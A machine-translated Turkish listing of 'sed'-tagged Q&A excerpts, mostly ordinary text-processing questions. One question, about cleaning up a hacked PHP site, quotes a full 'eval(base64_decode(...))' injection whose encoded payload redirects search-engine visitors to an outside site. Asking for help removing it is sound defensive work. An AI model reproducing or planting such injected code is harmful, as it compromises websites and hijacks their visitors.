«sed» etiketlenmiş sorular

"sed" ("stream editor"), metin dosyalarını ayrıştıran ve dönüştüren bir Unix yardımcı programıdır.

4
SQL benzeri gruplara göre ve komut satırındaki metin dosyaları için toplamı?
İki alanlı büyük metin dosyalarım var, birincisi bir dize, ikincisi bir tamsayı. Dosyalar ilk alana göre sıralanır. Çıktıya girmek istediğim, benzersiz bir dize başına bir satır ve aynı dizgelerin sayılarının toplamıdır. Bazı dizeler yalnızca bir kez görünürken, diğerleri birkaç kez görünür. Örneğin, aşağıdaki örnek verilere bakıldığında, sonuçta glehnia dizisi için …
7 linux  command-line  bash  sed  awk 

2
XML dosyasında dizeyi özel karakterlerle değiştirmek için sed kullanma
Aynı diziyi bulmak için grep kullanmakta zorlanmama rağmen, bir XML dosyasındaki bir metin dizesini değiştirmek için zorlanıyorum. Değiştirilecek yeni dize ve eski dize çok fazla sayıda özel karakter içerdiğinden, bir ters eğik çizgi kullanmak yerine, onları değişkenlerde saklamanın en iyi olacağını düşündüm: OLD_STRING='<property name="webServiceHost">${jboss.bind.address}</property>' NEW_STRING='<!--<property name="webServiceHost">${jboss.bind.address}</property>-->' Dizeler beklendiği gibi depolanmış …

3
Xargs'ten başka bir dizeye dize ekleme
Diyelim ki bir avuç dizge çıkaran bir emir var. Bu komutun çıktısı şuna benzeyebilir: ... foo bar blargh ... Diyelim ki bazı dizgem var myString$Blah $ Komutunun çıktısının bulunduğu dizelerin her birini, şöyle görünen bir dosyayla bitecek şekilde eklemek istiyorum: ... myStringfooBlah myStringbarBlah myStringblarghBlah ... Bunu başarmanın en kolay yolu …
5 unix  sed  awk 

3
Ortak yollar yol / dosya listesinden nasıl bulunur
Prelude: Bir yol / dosya listesi sıralı girişi göz önüne alındığında, ortak yolların nasıl bulunur? Sıralanan girdiyi stdin'den beslerken, stdin'den en kısa öneki nasıl seçilir? Burada "önek" normal bir anlama sahiptir, örneğin, "abcde" dizgisi "abc" önekine sahiptir. İşte benim örnek girdi $ echo -e '/home/dave\n/home/dave/file1\n/home/dave/sub2/file2' /home/dave /home/dave/file1 /home/dave/sub2/file2 Bu, komutu …

3
Bir metin dosyasındaki belirli bir alanı nasıl sıfırlayabilirim?
Böyle bir dosyam var: 123123213,456,be 124243233,4346,ytr 123123123,436535,uytr 324234324,322,yt 234324323,32,tyutr Sonuç vermek için orta alanı sıfırlamak istiyorum: 123123213,00000456,be 124243233,00004346,ytr 123123123,00436535,uytr 324234324,00000322,yt 234324323,00000032,tyutr Bunu yapacak bir senaryoyu nasıl yapabilirim? Bunun gibi bir örnek gördüm awk '{ $6=sprintf("%06s", $6); print $0}' ama ben gerçekten anlamıyorum ve bu yüzden çalışamıyorum.
3 unix  sed  awk 

1
Linux / Bash: Bir kalıba uyan her çizgiyi yorumlayın
sed az söylemek, bana yabancı. Bir C proje ağacını geçmek ve işlevi çağıran her satırı yorumlamak istiyorum LogMsg(). Aşağıdakileri başarabilecek bir şey: foreach: line within *.c if: line contains "LogMsg" prepend "//" Ya da öylesine. Ayrıca, o zaman, bunun daha zor olabileceğini hayal etsem de, tersine ulaşıp ulaşamayacağımı görmek isterdim. …
3 linux  bash  sed  c 

1
Sed neden yalnızca yankıdan gelen doğrudan çıktıda çalışıyor?
Milisaniye cinsinden (bu soruyla gerçekten alakalı olmayan) bir Android uygulaması için UI çizim zamanını alabilmek için bir kabuk komutum var. Her halükarda, çıktı benziyor I/ActivityManager( 1843): Fully drawn com.amazon.android.calypso/com.amazon.android.tv.tenfoot.ui.activities.ContentBrowseActivity: [time] Nerede [süre] biçimi olan +###msveya +#s###ms(burada yine ilgili değildir). Komut aşağıdaki gibidir: adb logcat -d | grep 'Fully drawn' | …
3 bash  regex  grep  sed 

1
Sed ile Bash takma ad çalışmıyor
Bu takma adı neden çalışmadığını bilen var mı? alias tailsed="tailf error.log | sed -e 's/\\n/\n/g' -e 's/\\t/''/g'" Tek tırnakları çiftlerle değiştirmeyi denedim, öyle ki: alias tailsed='tailf error.log | sed -e "s/\\n/\n/g" -e "s/\\t/""/g"' Ancak pipo komutu, yalnızca çalıştırıldığında olduğu gibi doğru şekilde ayrıştırmıyor.

1
grep, xargs, PHP eval hack'i temizlemek için sed
Bir PHP eval tabanlı kesmeyi temizlemek için http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ adresinde bulunan komutları kullanmaya çalışıyorum bir sitede. Eşleşecek / kaldırılacak örnek kod <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Denenmiş komut: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' Sudo, eriştiğim dizinde okuma / yazma izninin olması gerektiği için eklendi. Dosyalar grep'ten …
3 grep  sed  xargs 

3
Her eşleşen satırın başına boşluk ekle
Örneğin, başlangıçta başlamış bir hattım olsaydı ve önceki satırla aynı hizada olması gerekiyorsa, bunu en etkili şekilde nasıl yapabilirdim. preceeding line line I need to add spaces to Yani şöyle görünüyor: predeeding line where it needs to start. Başlamak için ihtiyaç duyduğu yerden tam 8 boşluk uzakta. Bunu vim, awk …
2 vim  sed  awk  text-editing 


1
'foo' içeren her satırı kaldırabilir miyim?
Bir yerde şunu okudum: sed -n -e '/foo/d' myinputfile.txt myoputfile.txt dosyasındaki tüm 'foo' oluşumlarını kaldırır. Ancak bu benim için işe yaramıyor. Ben başlı bir noob ve bu işe yarayacak gibi görünmüyor. Temel olarak, girdi dosyasındaki bir kelimeyi kaldırmak için her satırda sed'i çağıran bir bash betiği çalıştırmaya çalışıyorum ve çalıştırdığımda …

1
Ayrı parçalar çalışır, ancak içlerinden veri aktarımı onu kırar
Kısacası: ping için başka bir çıktı oluşturmaya çalışıyorum, bu yapmaya çalıştığım bazı şeyler için daha iyi sonuç veriyor. Bunun için, ping çıktısını sed'e çeviriyorum, her şeyi çıkarmak için harcadığı milisaniye dışında. Son bölüm python ile yazılmıştır ve çıktıyı oluşturur. İşte kod: ping google.com | sed '/^[^=]*$/d;s/^[^=]*=[^=]*=[^=]*=//;s/ ms//' | python3 -c …
2 unix  shell  python  sed 

3
Linux komut satırında csv ortalamaları
Bunun gibi kayıtlarla dolu büyük bir dosyam var 1, 2, 4, 5, 6 1, 3, 5, 6, 3 1, 4, 5, 6, 6 2, 4, 5, 5, 5 2, 3, 4, 5, 2 Yine de aynı 1. sayıya sahip tüm satırların ortalamasını almam gerekiyor (anahtar). yani 1, 3, 4.66, 5.66, …
2 linux  sed  csv  awk 


Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.